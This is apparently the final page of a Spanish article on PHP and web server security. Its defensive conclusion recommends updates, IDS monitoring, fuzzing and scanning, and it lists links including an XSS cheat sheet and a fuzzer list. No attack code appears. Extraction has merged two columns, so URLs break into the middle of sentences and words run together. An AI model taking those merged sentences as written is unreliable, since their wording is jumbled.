  9. 9. POST también son tratados y, en general, todas Enlaces de interéslas cabeceras y todos los ataques comunespueden ser rechazados. http://ha.ckers.org/xss.html http://www.hardened-php.net http://www.securityfocus.com/vulnerabilitiesConclusión http://www.websecurity.es/ http://www.webappsec.org/Hasta aquí hemos revisado los ataques más http://phpsecurity.wordpress.com/comunes que pueden inundar nuestros http://www.elhacker.net/servidores, nuestras aplicaciones PHP y http://www.infosecinstitute.com/blog/2005/12/fuzservidores web en general. zers-ultimate-list.html http://google.dirson.com/post/3632-coleccion-No hay ninguna aplicación que no haya vulnerabilidades-xss-aplicaciones/sucumbido ante el ejercicio –a veces altruista y http://www.squarefree.com/securitytips/web-ético– de hackers que, sin piedad, han puesto developers.htmlnuestro sistema en jaque y sacado los colores al http://www.cgisecurity.com/ajax/ver de qué manera nos han podido buscar la http://www.onlamp.com/pub/a/apache/2003/11/2vuelta; desde Google, Yahoo!, Amazon, hasta los 6/mod_security.htmlCMS más conocidos de los que contínuamente http://www.securityfocus.com/siguen apareciendo bugs y vulnerabilidades, http://www.securityfocus.com/columnists/418ninguno está a salvo de la retorcida mente deestos individuos.Un sistema ya desarrollado nos pone en unatesitura muy complicada, debido a que hay queverificar línea a línea los problemas que puedantener, las vulnerabilidades potenciales y elentendimiento del código.No es un caso trivial tener que proteger un siteweb, tanto si ya está hecho como si lo tenemosque desarrollar de nuevo. La única forma deobstaculizar el ejercicio de estos atacantes seráconocer cuáles son sus técnicas, mantenerseactualizado regularmente de las vulnerabilidadesde nuestro entorno (Sistema Operativo,Lenguaje, base de datos y módulos y libreríasasociados), en caso de ser un programa conocido(como un WordPress, Joomla!, PostNuke)mantenerse alerta a los bugs que,altruistamente, algunos atacantes publican enwebs.Además, con un sistema IDS que nos pueda ircomunicando qué pasa con nuestros logs, laevolución de estos mismos y la constanteevaluación de las vulnerabilidades de nuestrosistema, junto con un escaneo automático,técnicas fuzz y una programación sólida, y algúnmódulo destinado a la seguridad harán denuestro servidor web una fortaleza (casi)inexpugnable.

×